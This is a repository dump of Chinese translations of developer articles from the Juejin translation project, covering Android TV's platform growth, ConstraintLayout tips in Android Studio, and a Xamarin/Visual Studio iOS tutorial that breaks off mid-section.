的业务开发经理,我与娱乐公司合作,确保那些受观众喜爱的内容可以在 Android TV 上访问、发现并共享。我们生活在媒体文艺复兴时代,优秀的节目比以往任何时候都多,人们希望能够随时随地以最佳体验观看他们想要的内容。在这个追剧的时代,Android TV 是一个**将大屏幕内容带给高价值用户的平台**。 #### **为什么是 Android TV** 在本周的消费电子展(CES)上,Android TV 正在成为焦点,展示了很多新的支持设备和功能。Android TV 的增长势头迅猛,每年新增用户翻番,并有望在 2018 年再翻一番。这一增长是全球范围内与具有前瞻性的 OEMs(代工厂)和运营商建立伙伴关系的成果,灵活的平台也意味着 Android 开发人员必须提供的最好的产品。 Android TV 还有很多其他方面的优点,从可提供身临其境 4K 体验的高端索尼电视到可提供一流观看功能的 Nvidia Shield(神盾掌机)媒体播放器。目前,前十大机顶盒 OEMs(代工厂)中有 8 家以及 14 个国家的 20 家运营商为 Android TV 提供服务。鉴于这种全球影响力和多种价位的机型,Android TV 吸引了全球各种不同需求的观众。 #### **在客厅与你的高价值用户来一场电视派对** Android TV 吸引了很多高参与度的用户,其中 87% 每天都在活跃。推动这种互动的应用,**平均每个设备安装 15 个**。 令人惊讶的是,在 [Netflix](https://play.google.com/store/apps/details?id=com.netflix.ninja) 中,新用户可能会在移动或台式机设备上注册该服务,但 2/3 的时间是在电视上观看。因此,构建身临其境的电视体验是保留这些用户的重要手段。 Android TV 不仅增加观看时间,还会创建更具粘性的用户。去年 11 月,通过 Showtime(Showtime 电视网)Android TV App 订阅者的免费试用转化率是 Android 手机的两倍。总体而言,Android TV 用户的使用期限比通过 Android 手机购买的用户长 2 倍。那些在具有前瞻性、智能的 Android TV 上体验他们最喜欢的节目的人将更加倾向于他们的订阅和整个平台。 #### **用 Android TV 追剧** 即使对于没有通过订阅获利的应用,在 Android TV 也可以吸引用户。平均而言,每月电视应用程序在 Android TV 上观看时间是移动设备上的 1.8-3 倍,假如带有 O(Android 8.0)的新功能,例如实时预览,这些参与率甚至更高。 #### **Android O(Android 8.0)具备那些新的功能?** Google 智能助理在秋季跨平台延伸开始支持 Android TV。会话助理让人们更深入地了解他们所知道和喜爱的内容,并发现新的内容。Android TV 助理使发现新内容和导航变得轻松。用户可以使用诸如「回放五分钟」或「播放下一集」之类的命令来控制电视,或者跨应用搜索内容。此外,Android TV 现在可以作为客厅支点,让人们控制他们的物联网设备(「将灯光转换为电影模式」)或访问第三方服务(「从必胜客下单购买我最喜欢的披萨」)。对于真正的娱乐鉴赏家来说,助理可以充当你无所不知的影迷伙伴,回答与之相关的问题,例如「卢克天行者在什么星球上崛起的?」。 Android O(Android 8.0)在 Android TV 上重新设计了主屏幕。在新的主屏幕上,内容最先显示,用户只需点击一下即可访问最关心的内容。现在 Android TV 提供了简单直观的浏览和功能,允许进行私人订制。随着这些变化,用户的留存,参与和再次参与成为了设计的基础。 #### **让我们仔细看看** ![](https://cdn-images-1.medium.com/max/800/0*hRzwddXzRxFEv0Qf.) 一个新的简化的安装流程允许用户轻松地找到并下载他们使用和喜爱的应用程序。 ![](https://cdn-images-1.medium.com/max/800/0*YrKrm9bPgH3lb8FX.) 借助基于频道的内容优先的用户界面,用户可以轻松查看和访问他们想要观看的节目。在屏幕的顶部,观看者可以部署助理进行简单的搜索,而在其下方有一个「最喜欢的应用」行,以及「观看下一个」选项。 随着你向下移动屏幕,你会看到多行「频道」。这些频道是新主屏幕设计的关键部分。通过对这些频道进行编排,可以定位到目标人群他们想要欣赏的内容。你现在可以完全控制频道中推广的内容,节目的顺序,内容元数据以及频道的名称和品牌。 而且,这不仅限于一个频道,内容创作者可以根据特定的用户兴趣构建和编排更多频道。举个例子,你可以创建一个假日或漫威英雄频道,又或者是一个新的,原创的节目。 ![](https://cdn-images-1.medium.com/max/800/0*LKeruUoA-R_lmvRY.) 最后,新的 Android TV 用户界面具有当节目获取焦点时播放视频预览的功能。在这些预览中,你可以选择包含直播电视,预告片或 VOD 剪辑。早期的数据表明,这些预览非常引人注目,它会激励人们点击查看详细内容。 #### **使用单个 APK 可轻松构建 Android TV** Android TV 应用使用与移动设备相同的体系结构,因此可以轻松将现有的 Android APK 扩展到 Android TV 上。通常情况下,开发人员仅依靠一个 APK 来适配移动和电视平台。Android 资源系统在处理不同的屏幕尺寸和布局时提供了巧妙的解决方案,并且通过使用 leanback 库开发人员可以构建用于首播内容体验的自定义 UI。 我希望我分享的关于 Android TV 最新功能的见解将帮助你为观众创建更具吸引力的内容。你也可以 [发现更多内容](https://developer.android.com/training/tv/index.html) 帮助你制作出一流的 Android TV 应用程序,以便在未来几年内吸引并留住高价值的用户。把握 Android TV 的未来就在现在! * * * ### 你怎么看? 您有关于 Android TV 最新更新的想法吗?可以通过在下面的评论或使用 **#AskPlayDev** 发一条推特,我们会通过 [@GooglePlayDev](http://twitter.com/googleplaydev)回复,我们经常分享有关如何在 Google Play 上取得成功的信息和技巧。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/building-interfaces-with-constraintlayout.md ================================================ > * 原文地址:[Building interfaces with ConstraintLayout ](https://medium.com/google-developers/building-interfaces-with-constraintlayout-3958fa38a9f7#.avb3mafbz) * 原文作者:[Wojtek Kaliciński](https://medium.com/@wkalicinski) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[王子建](https://github.com/Romeo0906) * 校对者:[Mark](https://github.com/marcmoore)、[PhxNirvana](https://github.com/phxnirvana) # 使用约束控件创建界面 [![](https://i.embed.ly/1/image?url=https%3A%2F%2Fi.ytimg.com%2Fvi%2FXamMbnzI5vE%2Fhqdefault.jpg&key=4fce0568f2ce49e8b54624ef71a8a5bd)](https://www.youtube.com/embed/XamMbnzI5vE?list=PLWz5rJ2EKKc_w6fodMGrA1_tsI3pqPbqa&listType=playlist&wmode=opaque&widget_referrer=https%3A%2F%2Fmedium.com%2Fmedia%2F0a3cece4e79cc61b0f04ea610e0d2c12%3FpostId%3D3958fa38a9f7&enablejsapi=1&origin=https%3A%2F%2Fcdn.embedly.com&widgetid=1 ) 如果你是刚刚接触约束控件——支持库中与 Android Studio 2.2 可视化 UI 编辑器紧密结合的新布局——我建议首先观看上面的介绍视频或者浏览我们的[代码库](https://codelabs.developers.google.com/codelabs/constraint-layout/#0)。 视频和代码库简明扼要地介绍了布局编辑器中的一些处理方式、约束和 UI 控制的基本概念,了解这些有助于你快速在可见的方式下搭建界面。 本文中,我将着重讲解最近在 Android Studio 2.3 (Beta) 中约束控件的新增内容:链条和比率,同时也会写一些普通约束控件中的一些建议和技巧。 #### 链条 创建链条是一项新的特性,让你能够沿着一个坐标轴(水平或垂直)布置组件,从概念上来看有点类似线性布局。在约束控件中的实现中,链条是一系列通过双向连接联系起来的组件。 ![](https://cdn-images-1.medium.com/max/1600/0*nnBhtpeHAkmPvfT7.) 要想在视图编辑器中创建链条,你只需选择目标组件并右击,点击“Center views horizontally“(或“Center views vertically”)。 ![](https://cdn-images-1.medium.com/max/1600/0*GGOOXZi3nWsiVKgg.) 这就在组件之间建立了必不可少的关联。此外,当你选择链条中任何一个元素时,都会出现一个新的按钮,你可以在三种链条模式之间切换:分布式(Spread)、内分布式(Spread Inside)和密集式(Packed)链条。 ![](https://cdn-images-1.medium.com/max/1600/1*ZJRM06bmnEj8YSCyOn2fNg.gif) 有两个额外的技巧可以用来更方便地操作链条: 如果你创建了一个分布式或者内分布式链条,并且所有的组件尺寸都被设置成 MATCH_CONSTRAINT(或者“0dp”),其余的链条空间将会根据在 layout_constraintHorizontal_weight 或则 layout_constraintVertical_weight 中定义的值平均分布。 ![](https://cdn-images-1.medium.com/max/1600/1*HelCaZczLmEjXPO5iaAs7A.gif) 如果你创建了一个密集式链条,你可以通过调整水平(或者垂直)焦点来使链条元素左右(或者上下)移动。 ![](https://cdn-images-1.medium.com/max/1600/1*D9Tp-QOkNVGan422xeo1Jg.gif) #### 比率 比率大致上能够实现和[百分比布局](https://developer.android.com/reference/android/support/percent/PercentFrameLayout.html)相同的效果,IE 中可以通过设定比率来限制 View 的宽高,而不用在 ViewGroup 的层次上增加额外开销。 ![](https://cdn-images-1.medium.com/max/2000/1*RfgavVsO88a44_F5xGnUog.gif) 在约束控件中为组件设置比率: 1. 确保至少一个约束尺寸可变,也就是说,不允许设置为“Fixed”和“Warp Content”。 2. 点击左上角的“Toggle aspect ratio constraint”。 3. 按照宽度:高度的格式输入你想要的比率,比如:16:9 。 #### 辅助线 辅助线是用来帮助你布置其他组件的可视的组件。它们在运行时并不会可见,但同样可以用来添加约束,可以从下拉项中创建垂直或者水平的辅助线。 ![](https://cdn-images-1.medium.com/max/1600/1*8KCJzbcyQJUHxyAJIVaUfg.gif) 点击选择新添加的辅助线,拖动到合适的位置。 点击组件的顶部(或左部)标志可以切换辅助线对其模式:固定距离的左/右(或者上/下)对齐模式和相对父元素的百分比宽/高对齐模式。 ### 处理 View.GONE ![](https://cdn-images-1.medium.com/max/1600/0*sgv4IU2rWyXBbPMR.) 与相对布局相比,在约束控件布局中你将能更好地控制组件的 View.GONE 可见性。最重要的一点,任何设置为 GONE 的组件,其尺寸和外边距约束将缩小为零,但仍然参与约束的计算。 ![](https://cdn-images-1.medium.com/max/1200/1*reku7ldbZGxh7qG0PKrZ0g.gif) 许多情况下,如图所示的一系列通过约束联系起来的组件只会在一个组件被设置为 GONE 时生效。 还有一个方法可以为约束绑定在 GONE 移除时的组件设置特定的外边距,使用 [*layout_goneMargin*](https://developer.android.com/reference/android/support/constraint/ConstraintLayout.html#GoneMargin)*Start* (…*Top*, …*End*, 和 …*Bottom*) 属性来实现。 ![](https://cdn-images-1.medium.com/max/1600/1*sz63HAfIQL_5OrHSCfk3Rg.gif) 这样可以处理更复杂的情况,正如上如所示,我们可以设置特定的组件消失而不用改变代码。 #### 不同类型的居中对齐 在约束控件布局的链条属性中,我已经提到过一种居中方式了。当你选择一组组件时,点击“Center horizontally”(或者“center vertically”)来创建一个链条。 你也可以使用相同的选项,使一个组件居中对齐在其相邻的组件中间: ![](https://cdn-images-1.medium.com/max/1600/1*yP9P7Fnu4KfB2v1PCGPmtg.gif) 如果要忽略其他组件,在父元素内居中对齐,使用“Center horizontally/vertically in parent”选项。需要注意的一点是,通常你会对一个单独的元素使用这个选项,并且这不会创建链条。 ![](https://cdn-images-1.medium.com/max/1600/1*1MIe7MsnTXKV6KttdaOtGA.gif) 有时,你需要两个不同尺寸的组件中心对齐,不妨这样:当不同约束把一个组件拉向两个不同的方向时,它会稳定在两个约束的中间位置(每个方向 50% 偏心距)。 ![](https://cdn-images-1.medium.com/max/1600/1*lqP6aGkko5sAC2DyC6TH4g.gif) 我们可以使用相同的方法,通过设置两个相同方式的关联,使一个组件相对于另一个组件的一边居中对齐。 ![](https://cdn-images-1.medium.com/max/1600/1*a0pnMNpfUt8NJMY3KZGB0Q.gif) #### 使用 Space 实现负外边距 约束控件布局中不支持负的外边距,然而,有个小技巧可以使你获得相同的效果,通过插入 Space(实质上是一个空组件)并且设置尺寸为理想外边距的大小。如下所示: ![](https://cdn-images-1.medium.com/max/1600/1*rlTnKZVFd8ftT0H8pcOYBQ.gif) #### 什么时候使用自动生成 当你在工具栏中选择“自动生成布局(Infer constraints)”命令时,编辑器会找出约束控件布局中缺少的组件约束,并且会自动添加。它也可以从一个没有任何约束的视图开始设置,但由于很难创建一个完全正确的视图,你可能会得到很混乱的结果。这也是我建议通过这两种方式来使用约束界面: 首先是尽可能多地手动创建约束,这样你的布局能够最大化地得到实现并且具有功能可靠。然后,点击自动生成来为一些没有约束的组件创建约束,这样能节省你一点工作量。 另一个方法就是,将组件置于编辑器中不创建任何约束,使用自动生成命令,然后修改预览设备的分辨率。查看有哪些尺寸和位置错误的组件并修正这些约束,然后换一个分辨率重复操作。 这归根到底取决于你的喜好,每个人为布局创建约束的方式各有千秋,当然也包括有些人喜欢纯手工地实现巧夺天工的布局。 #### 不支持适应父元素 使用 match_constraint(0 dp)来替代,并且可以根据意愿给父元素设置约束,配合正确的外边距处理方式可以实现相同的效果,不应在约束布局中使用“Match parent”。 ================================================ FILE: TODO/building-ios-apps-with-xamarin-and-visual-studio.md ================================================ > * 原文链接 : [Building iOS Apps with Xamarin and Visual Studio](https://www.raywenderlich.com/134049/building-ios-apps-with-xamarin-and-visual-studio) > * 原文作者 : [Bill Morefield](https://www.raywenderlich.com/u/bmorefield) > * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) > * 校对者: [Gran](https://github.com/Graning), [Jasper Zhong (DeadLion)](https://github.com/DeadLion) # 用 Xamarin 和 Visual Studio 构建 iOS 应用 ![](https://cdn4.raywenderlich.com/wp-content/uploads/2016/07/VisualStudioXamarin-Feature-250x250.png) 当创见一个 `iOS` 的应用程序的时候,开发者们一贯倾向于使用那些由 `Apple` 公司提供的编程语言和 `IDE`: `Objective-C` / `Swift` 和 `Xcode`。然而,这并不是唯一的选择 - 你还可以通过使用很多其他的编程语言和框架去创建一个 `iOS` 应用程序。 [Xamarin](https://xamarin.com) 是最热门的选择方式之一,它是一个跨平台的开发框架,允许你使用 `C#` 和 `Visual Studio` 开发 `iOS`, `Android`, `OS X` 和 `Windows` 应用程序。`Xamarin` 最主要的好处是,它能让你在 `iOS` 和 `Android` 应用程序(平台)共享你的代码。 `Xamarin` 相比其他跨平台的框架还有一个很大的优势: (若)使用 `Xamarin`,你的项目会编译成原生代码,并且在底层使用原生的 `APIs`。这意味着用 `Xamarin` 框架写的应用程序和用 `Xcode` 创建出的应用程序几乎无差别。查看 [Xamarin 与 Native 应用程序开发](http://willowtreeapps.com/blog/xamarin-vs-native-app-development/) 了解更多细节。 过去,`Xamarin` 也有一个很大的缺点: 它的价格。因为每个平台每年的起步价格是 `$ 1,000(美元)`,你只能放弃你每天一杯的拿铁咖啡或者卡布奇诺,甚至_考虑_你能否承受这个价格......并且在编程的时候没有咖啡会是很危险的。因为这个(高昂的)起步价格,`Xamarin` 吸引的主要是那些有着很多预算的企业级项目。 然而,最近这个情况已经改变了,当 `微软` 收购了 `Xamarin` 并且发表声明,它将被包含进全新的 `Visual Studio` 中,包含进 [免费的社区版本](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx),它能被个人开发者和小团体(免费)获取。 免费?这个价格值得我们去庆祝一下了! [![More money for coffee!](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/dollar-941246_1280-427x320.jpg)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/dollar-941246_1280.jpg) 有更多买咖啡的钱了! 除了价格(或者漏掉的其他原因),`Xamarin` 还有其他优点,包括允许程序员: * 利用现存的 `C#` 库和工具去创建移动应用程序。 * 在不同平台上复用代码。 * 在 `ASP.Net` 后端和面向用户的应用程序之间分享代码。 `Xamarin` 也提供了一系列的工具,取决与你的需求。为了最大化的跨平台代码复用,使用 [Xamarin 表单](https://www.xamarin.com/forms)。它对那些不需要平台特定的功能或者特别的用户自定义的接口的应用程序特别好用。 如果你的应用程序(依赖于)需要平台特定的功能或者设计,使用 [`Xamarin.iOS`](https://developer.xamarin.com/guides/ios/), [`Xamarin.Android`](https://developer.xamarin.com/guides/android) 和其他的平台特定的模块,去直接与原生 `APIs` 和框架进行交互。这些工具能提供最大限度的灵活度,来创建高度定制的用户接口,当然仍旧允许跨平台地共享通用的代码。 在这份指南中,你将使用 `_Xamarin.iOS_` 去创建一个 `iPhone` 应用程序,它展示了一个用户的照片库。 这份指南不需要任何有关 `iOS` 或者 `Xamarin` 开发的经验,但是为了明白其中的大部分内容,你将需要对 `C#` 有一个基本的认识。 ## 开始 为了开发一个使用 `Xamarin` 和 `Visual Studio` 的 `iOS` 应用程序,理论上你需要两台计算机: 1. 使用_一台 `Windows` 计算机_去运行 `Visual Stuido` 并且编写你的工程代码 2. 使用_一台 装有 `Xcode` 的 `Mac` 计算机_作为一个构建代码的主机。这台计算机不必专门用来构建,但是开发和测试期间,需要和你的 `Windows` 计算机网络互通。 如果你那两个计算机互相之间离得很近是很棒的,因为当你构建代码并且在 `Windows` 上运行, `iOS` 模拟器将在你的 `Mac` 上加载。 你们可能会说,"如果我没有同时拥有两个计算机怎么办?" * _对于只有 `Mac` 的用户_,`Xamarin` 确实提供了一个给 `OS X` 用的 `IDE`,但是我们今天的指南将只关注这个崭新的 `Visual Studio` 支持。所以如果你还想继续的话,你可以在运行在 `Mac` 上的虚拟机运行 `Windows`。很多工具,例如 [VMWare Fusion](https://www.vmware.com/products/fusion) 或者免费的,开源软件 [VirtualBox](https://www.virtualbox.org/) 对于一个只使用单独一个计算机的用户来说都是有效的方法。 如果你使用了 `Windows` 的虚拟机,你需要确认 `Windows` 有网络连接能访问到你的 `Mac`。总之,如果你能从 `Windows` 上 `ping` 到你的 `Mac` 的 `IP` 地址,那么你一点问题都没有。 * _对于只有 `Windows` 的用户_,请速度购买一台 `Mac`。我会等你! :] 如果不行,虚拟主机服务,例如 [MacinCloud](http://www.macincloud.com/) 或者 [Macminicolo](https://macminicolo.net) 提供了远程 `Mac` 访问和构建代码。 这个指南假设你正在使用一个单独的 `Mac` 和 `Windows` 计算机,但是不用担心 - 这些说明几乎与如果你在你的 `Mac` 上使用 `Windows` 的虚拟机一样。 ### 安装 `Xcode` 和 `Xamarin` 如果你还没有它,[下载并且安装 `Xcode`](https://itunes.apple.com/us/app/xcode/id497799835) 在你的 `Mac`。这和从 `App Stroe` 安装其他应用程序一样,但是因为有几个 GB 的数据,可能需要下载一段时间。 [![Installing Xcode? Perfect time for a cookie break!](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/danish-butter-cookies-1032894_1280-480x270.jpg)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/danish-butter-cookies-1032894_1280.jpg) 刚好茶歇时间到! 在安装了 `Xcode` 后,[下载 `Xamarin Studio`](https://www.xamarin.com/download) 到你的 `Mac` 上。你需要提供你的 `email`,但是下载是免费的。可选的: 开心吧,跳个舞吧,你那些买咖啡的钱能省下了。 一旦下载完成,_打开安装包_并且双击_安装 `Xamarin.app`_。接受条款和条件并且继续。 安装器会搜索已经安装的工具并检查目前平台的版本。它之后将为你显示开发环境的列表。确认 _`Xamarin.iOS`_ 完成检查,之后点击_继续_。 ![Xamarin Installer](https://cdn1.raywenderlich.com/wp-content/uploads/2016/05/xamarin-installer.png) 之后,你会看到确认列表,总结所有会安装的项目。点击_继续_执行。你将得到一份总结并且一个可选项启动 `Xamarin Studio`。相反,点击_退出_完成安装。 ### 安装 `Visual Studio` 和 `Xamarin` 对于这份指南,你能使用任何版本的 `Visual Studio`,包括 [免费的社区版本](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx)。有些特性在社区版本里是 [没有的](https://www.visualstudio.com/products/compare-visual-studio-2015-products-vs),但是任何都没法阻止你开发复杂的应用程序。 你的 `Windows` 计算机应当满足 [`Visual Studio` 最低需求](https://www.visualstudio.com/en-us/downloads/visual-studio-2015-system-requirements-vs.aspx#1)。为了享受一个流畅的开发环境,你需要至少 `3 GB` 的内存空间。 如果你还没有安装 `Visual Studio`,通过点击在 [社区版本官方网站](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) 上的绿色按钮_下载社区2015_下载社区版本安装器。 运行安装器开始安装过程,选择_自定义_安装选项。在特性列表中,展开_跨平台移动程序开发_,并选择 _`C#/.Net (Xamarin v4.0.3)`_ (`v4.0.3` 是这篇文章写作的时候,目前最新的版本,但是未来可能会不同。) ![vs-installer](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/vs-installer-354x500.png) 点击_下一步_并等待安装完成。将会需要等待一段时间;当安装 `Xcode` 的时候,你可以去散个步,把你吃掉的曲奇饼干的热量燃烧掉。:] 如果你已经安装了 `Visual Studio` 但是没有 `Xamarin` 工具,移动到你的 `Windows` 计算机上的_项目和特性_并且找到 _`Visual Studio 2015`_。选择它,点击_更改_去访问它的设置,之后选择_修改_。 你将会发现 `Xamarin` 在_跨平台移动程序开发_作为_`C#/.NET (Xamarin v4.0.3)`_。选择他并且点击_更新_来安装。 哟 - 实在有太多需要安装的了,但是你已经有你所需要的东西了。 ![Install_Powers](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Install_Powers.png) ## 创建应用程序 打开 `Visual Studio` 并且选择_`文件\新建\项目`_。在 `Visual C#` 下展开 _`iOS`_,选择 _`iPhone`_ 并且勾选_`单一视图应用程序`_(开发)模板。这个(开发)模板创建了一个单一视图控制器的应用程序,它是一个简单的,管理单一视图的 _`iOS`_ 应用程序。 ![NewProject](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/NewProject-461x320.png) 为_`项目名字`_和_`解决方案名字`_,都输入 _`ImageLocation`_ 。选择一个存储你应用程序文件的地址,并且点击 _`OK`_ 去创建这个项目工程。 `Visual Studio` 会提示你,去把你的 `Mac` 计算机设定成 `Xamarin` 的构建主机: 1. 在 `Mac` 上,打开_系统偏好_并且选择_共享_。 2. 打开_远程登录_。 3. 将_允许所有访问_改成_只允许这些用户_,并且增加一个在 `Mac` 上可以访问 `Xamarin` 和 `Xcode` 的用户。 ![Setup Mac as Build Host](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/build-host-setup-629x500.png) 4. 关闭说明并回到你的 `Windows` 计算机。 回到 `Visual Studio`,你将被要求去选择 `Mac` 作为构建主机。选择你的 `Mac` 并点击_连接_。输入用户名和密码,之后点击_登录_。 你能从工具栏上确认你是否已经连接上。 [![Connected_Indicator](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Connected_Indicator-480x68.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Connected_Indicator.png) 从平台解决方案下拉框中选择 _`iPhone 模拟器`_ - 这将自动从构建主机中选择一个模拟器。你也能通过点击目前模拟器设备上的小箭头改变设备模拟器。 [![Change_Simulator](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Change_Simulator-1.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Change_Simulator-1.png) 通过绿色的_调试_箭头或者快捷键 _`F5`_ 构建和运行工程。 [![Build_and_Run](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Build_and_Run.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Build_and_Run.png) 你的应用程序将被编译和执行,但是你看不到它在 `Windows` 上运行。反而,在 `Mac` 上会看到它在运行。这就是为什么需要两台计算机在一起的原因了。 在最近的 [发展例会](https://evolve.xamarin.com) 上,`Xamarin` 已揭晓了(新特性) [iOS 模拟器的远程控制](https://blog.xamarin.com/live-from-evolve-new-xamarin-previews/),它能让你和运行在 `Apple` 计算机中模拟器的应用进行远程交互,就好像模拟器是安装在你的 `Windows` 计算机上一样。然而,就目前来说,你需要使用你 `Mac` 计算机上的模拟器。 你将看到一个启动画面出现在模拟器上,之后一个出现一个空的视图。恭喜!你的 `Xamarin` 配置完毕了! [![Template App](https://cdn1.raywenderlich.com/wp-content/uploads/2016/05/template-app-running-1-272x500.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/05/template-app-running-1-272x500.png) 可以通过_红色的停止按钮_来停止应用程序(快捷键是 _`Shift + F5`_)。 ## 创建集合视图 这个应用程序会在集合视图中显示用户照片库的缩略图,它是一个 `iOS` 的控制器,用于显示在网格中显示很多内容。 为了修改应用程序的 `storyboard`,它包含了应用程序的 `scenes`,从 _`Solution Explorer`_ 中打开_`Main.storyboard`_。 [![](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Main_Storyboard-269x320.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Main_Storyboard.png) 打开 _`Toolbox`_ 并且输入 _`collection`_ 到文本框内,去过滤出项目列表。在 _`Collection Views`_ 选项,把 _`Collection View`_对象从 _`Toolbox`_ 拖入到空视图的中间。 [![Add Collection View](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Collection_View-650x456.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Drag_Collection_View.png) 选择集合视图;你将在视图的每一边看到一些 _空心圈_。如果你在每一边看到 _`T 型`_,再次点击它,并切换到_`圈`_的样式。 [![Resizing the Collection View](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/resize-collection-view-521x500.gif)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/resize-collection-view-521x500.gif) 点击并且拖动每一个圈到视图的边界直到出现蓝色的线。当你放开鼠标按钮的时候,边界应该和这个地方重合。 现在你将对集合视图设置自动布局的限制条件;这告诉了应用程序,当设备旋转的时候,视图应该怎么调整大小。 [![Add_Constraints](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Add_Constraints-650x112.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Add_Constraints.png) 这个创建的限制条件几乎都是正确的,但是你将需要修改其中的一些。在 _`Properties`_ 窗口,切换到 _`Layout`_ 页面并且下滑到 _`Constraints`_ 选项。 两个来自于边界的限制条件都是正确的,但是高度和宽度的限制条件是不正确的。通过点击 _`X`_ 来删除_`宽度`_和_`高度`_的限制条件。 [![Delete Constraints](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Delete_Constraints-304x500.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Delete_Constraints.png) 关注到集合视图是如何变化到橙色的。这是限制条件需要被修正的信号。 点击集合视图并选择它。如果你看到了之前的圈,再次点击去让图标变成绿色的 _`T 型`_。点击并将在集合视图_最上边界_的 `T` 拖动到 绿色_`最上布局指导`_。释放它去创建一个相对最上视图的限制条件。 最后,点击并拖动这个 `T` 到集合视图_最左边_直到你看到一个_蓝色的点状线_。释放它并创建一个相对视图左边边界的限制条件。 在这点,你的限制条件会像这样: ![Constraints](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Constraints.png) ## 配置集合视图的单元格 你可能已经注意到在集合视图里的方块的轮廓,在它里面是一个红色惊叹号。这就是一个集合视图的单元格,它表示了集合视图里的一个单独的内容。 为了去配置这个单元格的大小,它在集合视图里完成,选择集合视图并且滑动到最上面的 _`Layout`_ 标签。在 _`Cell Size`_ 里,将 _`Width`_ 和 _`Height`_ 配置成 `100`。 [![cell-size](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/cell-size.png)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/cell-size.png) 接下来,点击在集合视图单元格上的_红色的圈_。一个弹出框会告知你,你还没有为这个单元格设定一个可复用的标识符,所以选择这个单元格,并且到 _`Widget`_ 标签。下滑到 _`Collection Resuable View`_ 部分并且输入 _`ImageCellIdentifier`_ 作为这个的 _`标识符`_。刚才的哪个错误信号应该消失了。 [![Set_Reuse_Identifier](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Reuse_Identifier-480x202.png)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Reuse_Identifier.png) 继续滑动到 _`Interaction Section`_。通过选择 _`Predefined`_ 将 _`Background Color`_ 设置成_`蓝色`_。 [![Set Cell Background Color](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Background_Color-427x320.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Background_Color.png) 场景应该看上去和下图差不多: ![Collection Cell with Color](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/collection-cell-with-color-470x500.png) 滑动到 _`Widget`_ 上部,并且将 _`Class`_ 设置成 _`PhotoCollectionImageCell`_。 [![Set Cell Class](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Class.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Class.png) `Visual Studio` 将自动创建以这个名字命名的类,继承自 `UICollectionViewCell`,并且创建 `PhotoCollectionImageCell.cs`。太好了,我希望 `Xcode` 也能做到。 ## 创建集合视图的数据源 你会需要手动创建一个类充当 `UICollectionViewDataSource`,它会为集合视图提供数据。 在 _`Soultuion Explorer`_ 中右键选择 _`ImageLocation`_。选择 _`Add \ Class`_ ,将类命名为 _`PhotoCollectionDataSource.cs`_ 并 点击 _`Add`_。 打开最近新增的 _`PhotoCollectionDataSource.cs`_ 并且在文件最上方增加以下内容: using UIKit; 这给予了你访问 `iOS` `UIKit` 框架的权限。 改变这个类的定义: ``` public class PhotoCollectionDataSource : UICollectionViewDataSource { } ``` 还记得之前那个为集合视图单元格定义过的可复用的标识符么?你会在这个类中使用他们。增加以下内容到这个类的定义中: ``` private static readonly string photoCellIdentifier = "ImageCellIdentifier"; ``` `UICollectionViewDataSource` 类中包含两个抽象成员(方法),你必须要去实现的。增加以下内容到类中: ``` public override UICollectionViewCell GetCell(UICollectionView collectionView, NSIndexPath indexPath) { var imageCell = collectionView.DequeueReusableCell(photoCellIdentifier, indexPath) as PhotoCollectionImageCell; return imageCell; } public override nint GetItemsCount(UICollectionView collectionView, nint section) { return 7; } ``` `GetCell()` 负责提供一个在集合视图里显示的单元格。 `DequeueReusableCell` 复用了一些今后不需要的单元格,例如,如果他们已经不在屏幕上显示了,你可以回收他们。如果没有可复用的单元格可用,一个新的将会被自动创建。 `GetItemsCount` 